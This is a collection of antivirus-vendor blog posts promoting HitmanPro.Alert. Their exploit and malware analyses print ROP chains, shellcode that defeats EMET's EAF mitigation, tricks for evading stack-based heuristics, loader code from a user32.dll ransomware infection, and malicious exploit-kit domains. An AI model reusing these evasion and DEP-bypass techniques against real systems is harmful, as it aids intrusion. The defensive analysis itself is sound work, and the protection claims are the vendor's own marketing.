Are you up all night after getting Locky?

Since CryptoLocker (the first widespread crypto-ransomware) came out in September 2013, the amount of variants/new families has grown at a staggering rate. CryptoLocker, CTB-Locker, CryptoWall, TorrentLocker, VaultCrypt, TeslaCrypt and many others have been wreaking havoc on computers worldwide by encrypting photos, documents and other personal/business data.

It is not because antivirus solutions suddenly became bad at preventing ransomware specifically. The thing is, compared to other malware, ransomware is just more visible to the end user … Let that sink in for a moment …

At SurfRight we anticipated that crypto-ransomware was poised to grow exponentially. Simply because the approach of holding personal files for ransom works. People are paying the ransom fees. Businesses, hospitals and even the police are paying the ransom to get their files back. Sure you should backup your files frequently, but even losing a day of work means that for example X-ray scans at a hospital result in that patients have to re-visit the hospital and re-do their X-rays.

World’s First Anti-Ransomware, since 2013
After CryptoLocker struck, we released the world’s first anti-ransomware solution on November 6th, 2013 as part of HitmanPro.Alert; just one-and-a-half months after CryptoLocker took stage.

Our anti-ransomware technology is called CryptoGuard and works dead simple: prevent mass encryption of files. The technology works without signatures or cloud connection and makes no assumption about who is encrypting what, as mass encryption can happen by any process or (remote) computer. Legitimate processes like explorer.exe or svchost.exe can be compromised via code injection and even .bat files that run trusted tools (that bypass application whitelisting) are abused by ransomware to perform mass encryption.

CryptoGuard simply works by monitoring the file system at the kernel level and deems the encryption of files as suspicious. If encryption of content happens en masse the process is blocked and the files touched are restored. Nothing is lost. Disaster averted.

Locky Ransomware
Check out the following video, showing how HitmanPro.Alert with CryptoGuard protects your documents and other files against the Locky crypto-ransomware, that hit many protected computers that were deemed secure:

If you got Locky this week, a lot of cyber-security defences failed and victims were successfully enticed to follow the instructions of the attacker. Not only CryptoGuard but also our Application Lockdown (part of our Exploit Mitigations) would have saved your day as all of HitmanPro.Alert’s technologies do not rely on prior knowledge to offer solid protection:

Image: Typical attack flow for Locky Ransomware (filenames may differ with each variant)

Third generation anti-ransomware
After its first release in November 2013 we improved the CryptoGuard technology by adding support for file shares (network drives) so that these are protected against rogue endpoints. Then the 3rd generation of CryptoGuard was released in 2014 and keeps track of files being renamed by the ransomware so that when ransomware strikes, not only the content but also the filenames are protected. Currently work is done on the 4th generation.

Backup
The best advice is to back up your files frequently, as this also helps against a drive/hardware failure. But even backing up your files daily means that when ransomware strikes, you lose a day worth or work. And with hundreds of employees, the cost of losing work could add up quickly.

CryptoGuard is part of HitmanPro.Alert and the entire solution is just 5 MB (megabytes). If you don’t want to stay up all night after the next ransomware strikes, give our Alert a spin. Having a spam filter, web filter and an antivirus program is apparently not enough to keep your files save.

Download now: hmpalert31.exe

(HitmanPro.Alert supports Windows XP as well as 32-bit and 64-bit versions of Windows Vista, Windows 7, Windows 8, Windows 8.1 and Windows 10. Requires only 5 MB of free disk space).

Mitigating Wow64 Exploit Attacks

Intro

Every once in a while, security researchers try to bypass security solutions for kicks, fame, marketing and to raise awareness for a new vulnerability that totally foils protection. Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) has seen its share of bypasses and when it is bypassed, the underlying approach grabs our attention. Somewhat like EMET’s philosophy, the technologies in our HitmanPro.Alert solution are also completely signatures-less, i.e. the behaviour-based anti-exploit technologies in both EMET and HitmanPro.Alert focus on the attack techniques and stop attacks without requiring threat information or signatures based on prior knowledge of attacks.

For people who are unfamiliar with this terrain, some background explanation is in order; why is there a need for software like EMET or HitmanPro.Alert.

To deliver malware to as many victims as possible, attackers turn to web-borne exploits that abuse vulnerable software (like Flash and Java) running on computers that visit trusted websites that contain malicious ads (malvertising) or hidden iframes that load an attack site.

But did you know that there are only a two dozen techniques to abuse any vulnerability, known and unknown? And often it takes more than a year before researchers or attackers come up with a new attack technique!

Did you also know that, depending on the vulnerability, always two or more techniques (like Heap Spray, Stack Pivot and Return-Oriented Programming (ROP)) must be used in sequence in order to be successful and deliver malware on victim’ machines? Software that aims to detect and block exploit techniques are e.g. Microsoft EMET and HitmanPro.Alert. Blocking exploit techniques stops exploit attacks on existing and future vulnerabilities and prevents malware from being delivered, no matter how obfuscated, new or sophisticated this malware is. So true anti-exploit solutions that revolve around stopping the attack techniques are kind of’ the holy grail against exploit attacks and their malware. For attackers they are a formidable barrier to conquer in order to successfully compromise a pc.

Wow64 Bypass

Last week a new technique was disclosed by Duo Security to bypass EMET’s ROP mitigations. The technique focusses on bypassing EMET’s security hooks abusing Wow64 compatibility layer.

The Wow64 compatibility layer provides a 32-bit execution environment on 64-bit Windows systems. This environment allows legacy 32-bit software to run on 64-bit computers.

Current exploit mitigation solutions protect the 32-bit environment. The bypass technique disclosed by Duo Security demonstrates that an attacker may also use the 64-bit environment when a 32-bit application is executed under Wow64. This effectively bypasses all security measures placed in the 32-bit environment.

To read more about the bypass, see the blog of Duo Security.

Mitgations

To get around DEP, an attacker needs to make a piece of memory on the heap executable. This piece of memory usually contains the malicious shellcode. Windows API provides functions to facilitate the modification of the protection of memory regions. For this article we focus on the NtProtectVirtualMemory function, located in ntdll.dll.

HitmanPro.Alert 3.1 provides three mitigations that relate to syscall bypasses. The following figure illustrates these three attacks using syscalls.

Attack #1 uses a legit syscall stub (partial) with an attacker-supplied syscall index parameter. This bypasses security hooks on the NtProtectVirtualMemory stub in 32-bit ntdll.dll. This is illustrated in the following figure.

As you can see above, both syscall stubs (functions) look very similar. The only difference is the syscall index which is placed in register eax. A security solution will place a hook at the green line, the start of NtProtectVirtualMemory. If an attacker is able to resolve the address of a different syscall stub, for example NtQuerySection, it only needs to make sure eax contains the syscall index of NtProtectVirtualMemory. On this system it is 4Dh. Then by calling the address indicated by the red arrow, an attacker can mimic a call to NtProtectVirtualMemory.

Attack #2 bypasses the 32-bit ntdll.dll entirely by directly calling the Wow64 marshalling layer performing the NtProtectVirtualMemory in 64-bit ntdll.dll. This attack is similar to the above, but now the attacker needs to resolve a function in Wow64, specifically wow64cpu!X86SwitchTo64BitMode. A pointer to this function is normally stored in fs:[0xc0]. More details on this attack can be read on this post at pastebin, referenced by @r41p41.

Attack #3 is the bypass as disclosed by Duo Security. The attacker uses ROP gadgets to transition from 32-bit mode directly into 64-bit NtProtectVirtualMemory. See this paper on how this is done.

The first 2 attacks are mitigated by HitmanPro.Alert 3.1 build 310 (or newer). Attack #3 is mitigated by HitmanPro.Alert 3.1 build 332 (or newer).

To illustrate the responsiveness of our development team, the time between disclosure by Duo Security and the release of build 332 is less than a week.

Conclusion

Network based exploit protections are reactive based and rely heavily on signatures. Endpoint exploit mitigation solutions are behaviour-based and are not dependent on signatures. That’s why in our opinion, behaviour-based exploit technique prevention is the preferred choice. It is possible to bypass a layered behaviour-based solution, but only if an attack is entirely based on a sequence of completely new exploit techniques. However, as is shown with the new Wow64 bypass technique, the mitigation of these new techniques could quickly be incorporated into our behaviour-based solution. Which is as of then capable of mitigating all attacks (whether compressed, encrypted or otherwise obfuscated) that are based on the newly discovered exploit technique.

Download

Together with the release of HitmanPro.Alert 3.1 build 332 we also updated our Exploit Test Tool application. This application allows to safely trigger an exploit technique, including the new Wow64 bypass technique.

HitmanPro.Alert 3.1 build 332
http://test.hitmanpro.com/hmpalert3b332.exe

Exploit Test Tool
http://dl.surfright.nl/hmpalert-test.exe

 

How the Wolf attacked and outsmarted defenses with CVE-2015-3113

Malware-authors create millions of new unique malware samples every year to bypass web filters and antivirus software. But did you know that every exploit attack (to deliver malware) must use the exact same techniques to exploit software vulnerabilities? And that there are only a dozen offensive techniques to make this happen? Also, did you know that depending on the vulnerability, attackers are bound to chain 2 to 5 of these techniques to even get to the stage to deliver the malware?

As many of you know, our recently released HitmanPro.Alert 3 is purpose built to disrupt attackers during every stage of their attack – from exploitation to exfiltration. Instead of depending on prior knowledge of attacks (aka signatures), HitmanPro.Alert concentrates on the techniques required to exploit and compromise a computer from remote. If you are able to block attacks at the exploit stage, malware doesn’t even reach the machine in the first place.

Figure: HitmanPro.Alert disrupts individual chains of the Cyber Kill Chain with multiple signature-less technologies

Exploit Techniques
Some of the offensive techniques that help and make exploitation possible are called Heap Spray, Stack Pivot, Return-Oriented Programming (ROP) and Vtable Hijacking. Many of these techniques are necessary and chained to evade defensive technologies like DEP (Data Execution Prevention) and ASLR (Address Space Layout Randomization) that protect modern operating systems. The ability to detect and block the offensive exploit techniques in real-time puts HitmanPro.Alert in an excellent position against zero-day attacks from both nation-state attackers as well as skilled cybercriminals.

But like with malware and depending on resources like skill, time and money, there are attackers that take the easy road and there are those that want or need to go the extra mile. The recent exploit attacks on CVE-2015-3113, a previously unknown vulnerability in Adobe Flash Player, is an excellent example.

Operation Clandestine Wolf
Discovered by FireEye and coined Operation Clandestine Wolf, this attack was crafted by a nation-state attacker they call APT3, apparently a China-based threat group. And with most discovered zero-day attacks, it didn’t take long before cybercriminals heard of it and included an attack for this vulnerability in their exploit kits, to increase the success rates of their attacks (it took them only four days as revealed by security researcher Kafeine from Malware Don’t Need Coffee).

Significant differences
But there are significant differences between the APT3 exploit attack and the code in exploit kits that abuse CVE-2015-3113. APT3’s code is not only meticulously crafted to bypass standard defense techniques, it is also designed to evade Anti-Exploit solutions. So even though Anti-Exploit vendors blogged about the vulnerability and mentioned that their “users were already protected against this threat”, this is in fact not the case for the original APT3 variant! And this is actually true for most exploits. When you have sufficient skills and resources, even old existing exploits can be re-weaponized to evade anti-exploit solutions. This means that even though when it sounds or looks  like other security solutions offer identical mitigations or layers, e.g. our Dynamic Heap Spray and Hardware-assisted Control-Flow Integrity mitigations (as well as our many Risk Reduction features) make a significant difference against well-funded attackers.

But let’s discuss and compare the versions crafted by the APT3 nation-state hackers and the attack inside the Angler exploit kit.

APT3
As mentioned by FireEye, the actual exploit was RC4 encrypted inside the hp.swf file, so we had to decrypt it to reveal the perpetrating code. From the decrypted code we can see that it includes a progress indication using GIF files, that help the exploit author debug his attack as it reveals at what stage the attack fails. When the attack succeeds, the exploit retrieves a file named logoshow.gif, using a hardcoded URL in de ActionScript code (an IoC or Indicator of Compromise):

Figure: Hardcoded link in APT3’s ActionScript code

Heap Spray
The APT3 attack employs a heap spray to facilitate arbitrary code execution. Although many Anti-Exploit solutions offer Anti-Heapspraying, few people know how most heapspray mitigations work. They simply pre-allocate memory areas often used by attackers so they cannot use these ranges to setup their heap spray. Naturally, APT3 stayed clear of these memory areas which explains why most Anti-Exploit solutions do not stop the attack with their heap spray mitigation.

Unlike these solutions, the Dynamic Heap Spray feature of HitmanPro.Alert 3 is an active mitigation. It is not so easily bypassed since our technology actually analyzes and compares the contents of the memory blocks allocated and sprayed by the exploit attack. HitmanPro.Alert 3 stops the exploit even before it gains control of code execution:

Figure: HitmanPro.Alert intercepted APT3’s Heap Spray technique

Arbitrary Code Execution
But it’s getting interesting when you look at how the nation-state attacker controls code execution without triggering Stack Pivot and typical ROP mitigations. In most recent Flash based exploits, the exploit hijacks the vtable of a built-in object of Adobe Flash Player, e.g. the Sound object, so that a ROP chain can be started for example via an invocation of Sound.toString().

This APT3 exploit uses a different technique to trigger its ROP chain. A custom class is defined in the ActionScript which has a method that takes a large number of parameters.

this.customClassInstance.theMethod(_loc32_, _loc32_, _loc32_, _loc32_,
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc24_, _loc33_, 
_loc19_, _loc34_, 65536, 4096, 64, _loc32_, _loc32_, _loc32_, _loc32_, 
_loc32_, _loc32_, _loc32_, _loc32_, _loc32_, _loc19_ + 6,_loc19_ + 6,
_loc30_, _loc19_ + 6, _loc25_, _loc25_);

The method in the custom class enables the attacker to provide ROP gadgets as parameters to the function, which results in the ROP chain ending up on the current stack! This way, there is no need for the attacker to pivot the stack to a heap location that is outside the stack range of the current thread, which would be detected by most Anti-Exploit tooling.

By overwriting the function pointer so that it points to a gadget that moves the stack pointer to the beginning of the ROP chain, located on the stack, the attacker can trigger the start of the ROP chain.

6d4b33dd  83c448   add      esp,48h    ; move stack pointer to start of ROP chain
6d4b33e0  c3       ret

After  the ‘add esp,48h # RET’ gadget is executed, the stack (which is the ROP chain) looks like this:

02fae6ac  6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b
02fae6ec  6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b
02fae72c  6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68a 1f140100
02fae76c  6d4b6da1 1f140000 00010000 00001000 
          00000040 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6cebb68b 6cebb68b 
          6cebb68b 6cebb68b 6d4b6da7 6d4b6da7
02fae7ac  6cebaff0 6d4b6da7 6cec1b5f 6cec1b5f

There are a lot (46) of ‘dummy’ gadgets (6cebb68b) on the stack which only perform a RETurn.

6cebb68b  c3       ret

This makes sure that stack-analysis will show a call-stack that contains ‘valid’ return addresses up to a very deep call-depth.
The first non-dummy gadget (6cebb68a) pops the address 1f140100 into EAX.

6cebb68a  58       pop      eax
6cebb68b  c3       ret

The following gadget performs a memory allocation, which makes a specific memory range, starting at 1f140000 on the heap executable. This range is under control of the attacker and already contains the shellcode. However, due to DEP, it is not executable (yet).

0:005> !vprot 1f140000
BaseAddress:       1f140000
AllocationBase:    1f030000
AllocationProtect: 00000001  PAGE_NOACCESS
RegionSize:        00150000
State:             00001000  MEM_COMMIT
Protect:           00000004  PAGE_READWRITE
Type:              00020000  MEM_PRIVATE

6d4b6da1           call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40)
6d4b6da7           ret

After the call to VirtualAlloc the memory is executable.

0:005> !vprot 1f140000
BaseAddress:       1f140000
AllocationBase:    1f030000
AllocationProtect: 00000001  PAGE_NOACCESS
RegionSize:        00010000
State:             00001000  MEM_COMMIT
Protect:           00000040  PAGE_EXECUTE_READWRITE
Type:              00020000  MEM_PRIVATE

This gadget, which is legitimate code located in the Flash DLL, performs a seemingly ‘valid’ call to VirtualAlloc in the way as described by Jared DeMott of Bromium, in the technical whitepaper ‘Bypassing EMET 4.1’.  An Anti-Exploit tool based on stack analysis will conclude that the call to VirtualAlloc was legitimate and will not detect a ROP attack in progress at this stage.

When the call to VirtualAlloc returns, the stack looks like this:

02fae780  6cebb68b 6cebb68b 6cebb68b 6cebb68b
          6cebb68b 6cebb68b 6cebb68b 6cebb68b
          6cebb68b 6d4b6da7 6d4b6da7 6cebaff0
          6d4b6da7 6cec1b5f 6cec1b5f 00001000

It contains 9 times the dummy gadget 6cebb68b, which only performs a ‘RET’. After that, it contains 2 times another dummy gadget (6d4b6da7). However, this gadget has the nice property that it is call-preceded.

6d4b6da1           call Kernel32!VirtualAlloc(0x1f140000, 0x10000, 0x1000, 0x40)
6d4b6da7           ret

This feature makes sure that anti-exploit tooling that perform stack-based analysis will see a ‘legitimate’ return address that was seemingly placed onto the stack due to a valid call instruction.

The following gadget (6cebaff0) pops the address of the call-preceded gadget (6d4b6da7) into ECX.

6cebaff0 59        pop     ecx
6cebaff1 c3        ret

And finally, the gadget at address 6d4b6da7 jumps to the shellcode with an indirect JMP instruction.

6cec1b5f ff20      jmp     dword ptr [eax]      ; EAX = 1f140000

0:005> dd eax
1f140000  1f140210 00000008 057c3000 057c0140
1f140010  1f13f000 00000000 1f711000 00000000

The shellcode starts at address 1f140210.

1f140210  nop
1f140211  nop
1f140212  nop
1f140213  nop
1f140214  nop
1f140215  nop
1f140216  nop
1f140217  mov     eax,1F140008h
1f14021c  nop
1f14021d  nop
1f14021e  nop
1f14021f  mov     ebx, offset IEShims!xxx_GetProcAddress (70ed9f14)
1f140224  mov     dword ptr [eax],ebx   ; Store address at 1f140008h
1f140226  nop
1f140227  nop
1f140228  push    0
1f14022a  push    74657874h    ;
1f14022f  push    6E6F4364h    ; 'SetThreadContext'
1f140234  push    61657268h    ;
1f140239  push    54746553h    ;
1f14023e  push    esp
1f14023f  push    (KERNEL32+0x0) (75e40000) ; BaseAddress kernel32.dll
1f140244  call    ebx          ; EBX holds address of GetProcAddress

The ActionScript has placed the base address of kernel32.dll and the address of GetProcAddress into the shellcode, so that it can call this function to obtain other system functions of kernel32 without triggering anti-exploit software. One can also see that the shellcode immediately resolves the address of the function ‘SetThreadContext’. This is a very interesting function that can modify the debug register, which can disable functions that depend on them, like Microsoft EMET’s EAF mitigation.

Summarizing the key features of the APT3 version of CVE-2015-3113:

• The ROP chain never returns directly into a critical function
• A Stack Pivot is NOT required to start the ROP chain
• Uses dummy call-preceded RETurn address to trick stack-based heuristics
• Shellcode uses ‘GetProcAddress’ to resolve system functions

Anti-Exploit solutions that analyze the stack (which is under the control of the attacker) are fooled by the tricks deployed by the APT3 exploit. However the hardware-assisted Control-Flow Integrity feature of HitmanPro.Alert 3 reveals the ROP attack and is immune to the stack manipulations performed by this exploit. The following figure shows how HitmanPro.Alert 3 detects and blocks the ROP attack using Intel® hardware-assistance.

Figure: Hardware-assisted Control-Flow Integrity reveals ROP attack on CVE-2015-3113 

Angler Exploit Kit
The version used by the Angler exploit kit is different. Of course it uses the same vulnerability in Adobe Flash Player (CVE-2015-3113) to corrupt a vector on the heap to bypass ASLR, but it uses a different set of exploit techniques compared to the APT3 version.

The exploit deployed by the Angler exploit kit uses so-called Vtable Hijacking to start its ROP chain. A fake object with a crafted vtable is created on the heap:

0857c000  0857c040 6cbf0736 cccccccc cccccccc
0857c010  cccccccc cccccccc cccccccc cccccccc
0857c020  cccccccc cccccccc cccccccc cccccccc
0857c030  cccccccc cccccccc cccccccc cccccccc
0857c040  6ca9f992 cccccccc 6cab4745 6cac4788
0857c050  6cc334a6 6d096dd9 08578000 00008000
0857c060  00001000 00000040 0857c06c 0005e860
0857c070  89610000 90c35dfc fce58955 00e8ec81

This fake object contains a pointer to its vtable at offset 0, so the vtable starts at 0857c040.
And from within the Flash ActionScript a method of this fake object is called. This executes the following code:

6cbf0736  8b01     mov     eax,dword ptr [ecx]
6cbf0738  51       push    ecx
6cbf0739  ff5008   call    dword ptr [eax+8]

At the time of the call, ECX contains the address of the object (0857c000) and EAX contains the start address of the vtable. The call [eax+8] is the actual call of the method in the vtable, which in this case is a call to [0857c040+8] -> 6cab4745

If we take a look at the instructions that are located at this address, we can see that these will perform a stack pivot.

6cab4745  94       xchg    eax,esp
6cab4746  c3       ret

This is detected and blocked by HitmanPro.Alert:

Figure: HitmanPro.Alert blocking Stack Pivot technique of Angler EK attack on CVE-2015-3113

But after the stack pivot, the actual ROP chain, beginning at location 0857c040, will start. The first gadget, located at 6ca9f992, will advance the stack pointer to the location behind the stack pivot gadget address.

6ca9f992  83c408     add     esp,8
6ca9f995  c3         ret

This adds 8 to skip past the stack pivot gadget which means that the stack pointer now points to 0857c04c, so the next gadget that will be executed is located at 6cac4788.

6cac4788  95         xchg    eax,ebp
6cac4789  c3         ret

EBP now points to a location that is on the current stack and lies before the current position in the ROP chain.
The next gadget in line starts at address 6cc334a6 which swaps the contents of EDI and EAX.

6cc334a6  97         xchg    edi,eax
6cc334a7  c3         ret

Now the following gadget that will execute is the one that will make the contained shellcode executable (DEP bypass). It starts at address 6d096dd9.

6d096dd9  // call Kernel32!VirtualAlloc(0x8578000, 0x8000, 0x1000, 0x40)

This gadget, which is legitimate code located in the Flash DLL, performs a seemingly valid call to VirtualAlloc in the way as described by Jared DeMott of Bromium, in the technical whitepaper Bypassing EMET 4.1. When the allocation returns, it falls directly into the shellcode at address 0857c06c.

0857c06c 60          pushad
0857c06d e805000000  call    0857c077
0857c072 61          popad
0857c073 89fc        mov     esp,edi
0857c075 5d          pop     ebp
0857c076 c3          ret

The shellcode is located on the heap directly after the ROP chain, starting at location 857c06c.

Summary
APT3’s attack on CVE-2015-3113 doesn’t perform a stack pivot as the gadgets are placed on the current stack. In addition, it never falls directly onto critical functions or shellcode and uses return addresses that seem legitimate to foil Anti-Exploit heuristics. Compared, the techniques that are used in the Angler exploit kit are rather straightforward and will be detected and blocked by most (commercial) Anti-Exploit tools.

While evaluating both attacks I can’t help but think that APT3’s zero-day attack on CVE-2015-3113 is proofing the same point that we tried to convey and demonstrated with our example attack on an artificial zero-day vulnerability in Firefox 29.0, for MRG Effitas’ Real World Exploit Prevention Test (March 2015). Some people said it was unfair and unrealistic that MRG Effitas included our special crafted version in their test, but it turns out we did not have to wait long before a skilled attacker proofed our point as well: with enough time, effort and money, a knowledgable attacker can bypass Anti-Exploit solutions. But with unique features like our Hardware-assisted Control-Flow Integrity, HitmanPro.Alert raises the bar to new heights by further increasing the attacker’s costs, in effect avoiding future system compromise and reducing business disruption.

Users running HitmanPro.Alert 3 are and were already protected against both the nation-state version as well as the exploit kit version of the attack on CVE-2015-3113.

Protect Yourselves
You can read more about our HitmanPro.Alert software on this page: http://www.hitmanpro.com/alert

Leaflet: HitmanPro-Alert-Brochure-2015.pdf

Download
To increase the security posture of your computers against exploits, digital espionage and crypto-ransomware, download HitmanPro.Alert version 3 from here: http://dl.surfright.nl/hmpalert3.exe (4 MB)

Exploits served via malvertising campaign

Two months ago we released HitmanPro.Alert version 3 at the RSA Conference in San Francisco.

This major new version comes with protection against crypto-ransomware and exploits.

In these two months various companies started using HitmanPro.Alert version 3 to protect exploit-susceptible applications and critical documents against malware and zero-day attacks.

Malvertising campaign
Our telemetry shows that a major malvertising campaign became active since Thursday, June 11th. This is in line with the findings of our colleagues at Fox-IT.

We’ve seen exploits being served through advertisements on these sites:

telegraaf.nl
volkskrant.nl
trouw.nl
parool.nl
dumpert.nl
theguardian.com
huffingtonpost.com
lemonde.fr
elle.com

HitmanPro.Alert 3 has been very successful stopping hundreds of attacks from these sites. Blocking the exploit, preventing malware from entering the PC:

Contrary to antivirus technologies, the exploit mitigation technologies in HitmanPro.Alert require no updates, signatures or prior knowledge of exploit attacks or its payload to defend against it. Internet users do not need to seek refuge in ad blockers as HitmanPro.Alert allows safe use of the web without affecting ad revenue of site owners, publishers and journalists, especially when visitor/victim machines need to (or unknowingly) run outdated or vulnerable software.

Below an excerpt of the technical details of the blocked attacks which shows that many of the attacks originate from Adobe Flash Player:

---

Mitigation   StackPivot

Platform     6.1.7601/x86 06_2a
PID          5272
Application  C:\Program Files\Internet Explorer\iexplore.exe
Description  Internet Explorer 10

Callee Type  AllocateVirtualMemory
             0x2506C000 (32768 bytes)

Stack Trace
#  Address  Module                   Location
-- -------- ------------------------ ----------------------------------------
1  753A7A1B KernelBase.dll           VirtualAllocEx +0x33
2  753A7A47 KernelBase.dll           VirtualAlloc +0x18

3  54DF7C6F Flash32_17_0_0_169.ocx   IAEModule_IAEKernel_UnloadModule
            f7d8                     NEG          EAX
            1bc0                     SBB          EAX, EAX
            f7d8                     NEG          EAX
            c3                       RET         

Process Trace
1  C:\Program Files\Internet Explorer\iexplore.exe [5272]
   "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3648 CREDAT:209921 /prefetch:2

2  C:\Program Files\Internet Explorer\iexplore.exe [3648]
3  C:\Windows\explorer.exe [1032]
4  C:\Windows\System32\userinit.exe [1532]

---

Mistress Eve
Our telemetry shows that this specific attack took place between 2015-06-11 17:00 (CET) and 2015-06-15 16:30 (CET). Strikingly, the domain mistresseve.com seems to play a significant role in this attack.

Zooming in on this domain, we logged the following hostnames, which is an indication that the attackers have direct access to the DNS of this domain to create additional hosts:

• cannonries-anumdecimal.mistresseve.com
• hesiterionswonderbloem.mistresseve.com
• klonensahasrabudhe.mistresseve.com
• primerolereloc.mistresseve.com
• prost.mistresseve.com
• pyhnen.mistresseve.com
• suierveer.mistresseve.com

The hostname pyhnen.mistresseve.com is also mentioned on the Malware Traffic Analysis website, who recorded an attack (.pcap and .zip with malware provided). The attack was carried out by the Angler Exploit Kit (as also confirmed by Fox-IT) and delivered the Bedep trojan through a vulnerability in Adobe Flash Player.

Angler Exploit Kit
The Angler Exploit Kit itself abuses CVE-2013-7331, a vulnerability in Internet Explorer 6 through 11 to determine if the attack takes place inside a research environment, or in the presence of specific security software. If e.g. VMware or VirtualBox is detected, the exploit is not triggered in an attempt to stay under the radar of defenders:

An overview of the domains associated with this particular exploit kit deployment:

aeroballistic.commech.com
cannonries-anumdecimal.mistresseve.com
castrado.bachelorpartiescyprus.com
chinaspring.cherokeealternativeenergy.com
colopexy.ingramelectriccompany.com
decussation.spankinglinks.org
droomgezichtenvergoettertem.deshotelsonline.com
gehamsterde-lampetia.dicksoncompany.com
halowych.cherokeealternativeenergy.com
intraprocess.mypugetsoundhomevalues.com
irrst-1marcelli.humiliatedlosers.com
klonensahasrabudhe.mistresseve.com
knitzopsonogepoang.restaurantdna.com
krammetjefantasieartikelen.deshotelsboudin.com
montiatekbibslaten.pearlafterpearl.com
naskok-readvance.misstiffany.com
objawiac-deifie.spankinglinks.org
obquestionpendant0.cherokeealternativeenergy.com
pasteurizers-slagersbijl.puyalluprambler.info
prophesy-barnesko.rjbremedialschool.com
prost.mistresseve.com
pyhnen.mistresseve.com
reboucheraissretrauq.cameohull.com
singleheartedness.spankinglinks.org
suierveer.mistresseve.com
thaumatologiewelterschuetternden.misstiffany.com
unicamerally-soltex.spankinglinks.org
vankimr-huutomerkkisarjan.rjbremedialschool.com
varkmasels.guicomachineworks.com
vaxii.findhomeinlasvegas.com
versjacherderemobili.apartmentassociationwesternkentucky.org
wreckers-ungerechtfertigteren.harveyspecialtyandsupply.com
xbox.tlitemotherjake.xyz

Bedep malware
This Bedep trojan horse is delivered in-memory. This means that it infects the computer without writing any files to the disk for most antivirus software to find, scan or block. Researcher Kafeine wrote about the file-less Bedep infection on his website Malware Don’t Need Coffee in August last year.

Also, this trojan typically hoists-in additional malware to perform e.g. click-fraud, hurting advertising businesses. So, advertisers are not only put in a bad light because the ad platform is abused to infect thousands of internet users, they also loose money from the fraudulent ad clicks (the advertisers unknowingly pay the attackers).

But, as pointed out by Kafeine, the Angler Exploit Kit can serve each individual victim different malware.

Protect yourselves
You can read more about our HitmanPro.Alert software on this page:
http://www.hitmanpro.com/alert

Leaflet: HitmanPro-Alert-Brochure-2015.pdf

Download
To protect your computers against crypto-ransomware or exploits, download HitmanPro.Alert version 3 from here:
http://dl.surfright.nl/hmpalert3.exe (4 MB).

Ransomware infecting user32.dll, continued

This post is a follow up on our previous post regarding ransomware infecting user32.dll.

A new variant of the Department of Justice (DOJ) ransomware that embeds itself inside user32.dll is spreading.

This new variant has updated its tactics to avoid detection by antivirus programs. The following section shows an analysis of this new version and indicate the changes have been made.

Patched entrypoint
Just as the previous version, the ransomware patches the code in the entrypoint of user32.dll. But this time the malware authors tried to keep the entrypoint as original as possible. Most noticeably they replace the original CALL with a CALL to AlignRect. See the disassembled code below:

Original:

UserClientDllInitialize:
7e41b217  mov   edi, edi 
7e41b219  push  ebp 
7e41b21a  mov   ebp, esp 
7e41b21c  cmp   [ebp+0xC], 1 
7e41b220  jnz   0x7e41b227
7e41b222  call  0x7e41b984
7e41b227  pop   ebp 
7e41b228  nop 
7e41b229  nop 
7e41b22a  nop 
7e41b22b  nop 
7e41b22c  nop 
7e41b22d  mov   edi, edi 
7e41b22f  push  ebp

Patched:

UserClientDllInitialize:
7e41b217  push  ebp 
7e41b218  mov   ebp, esp 
7e41b21a  cmp   [ebp+0xC], 1 
7e41b21e  jne   0x7e41b225
7e41b220  call  USER32!AlignRects (7e46d4e0)
7e41b225  add   [eax], al 
7e41b227  pop   ebp
7e41b228  pop
7e41b229  nop 
7e41b22a  nop 
7e41b22b  nop 
7e41b22c  nop 
7e41b22d  mov   edi, edi 
7e41b22f  push  ebp

Furthermore, the code at AlignRects is modified so that it allocates a new block of executable memory after which it copies the encrypted payload from the resource section to this newly allocated memory. It uses the same technique as the previous version to obtain the address of NtAllocateVirtualMemory() to allocate a writeable/executable region of memory. This memory is used to copy the encrypted payload to, which also contains a small piece of code to decrypt the encrypted payload.

AlignRects:
7e46d4e0  pushad
7e46d4e1  mov   eax,dword ptr [ebp+8]   ; EAX becomes base-address
                                        ; of user32.dll (7E410000)
7e46d4e4  mov   ecx,eax
7e46d4e6  add   eax,13BCh
7e46d4eb  mov   eax,dword ptr [eax]     ; EAX becomes address of
                                        ; NtQueryVirtualMemory
7e46d4ed  add   eax,0FFFFF5F0h          ; EAX becomes address of
                                        ; NtAllocateVirtualMemory
7e46d4f2  sub   esp,8
7e46d4f5  push  40h                     ; PAGE_EXECUTE_READWRITE
7e46d4f7  push  3000h
7e46d4fc  lea   ecx,[ebp-4]
7e46d4ff  mov   [ecx],0E800h
7e46d505  push  ecx
7e46d506  push  0
7e46d508  lea   ecx,[ebp-8]
7e46d50b  mov   [ecx],0
7e46d511  push  ecx
7e46d512  push  0FFFFFFFFh
7e46d514  call  eax                     ; call NtAllocateVirtualMemory
7e46d516  mov   edi,[ebp-8]             ; EDI = allocated address 
                                        ; (00290000)
7e46d519  mov   eax,edi
7e46d51b  mov   esi,[ebp+8]             ; ESI = base-address of user32.dll
                                        ; (7E410000)
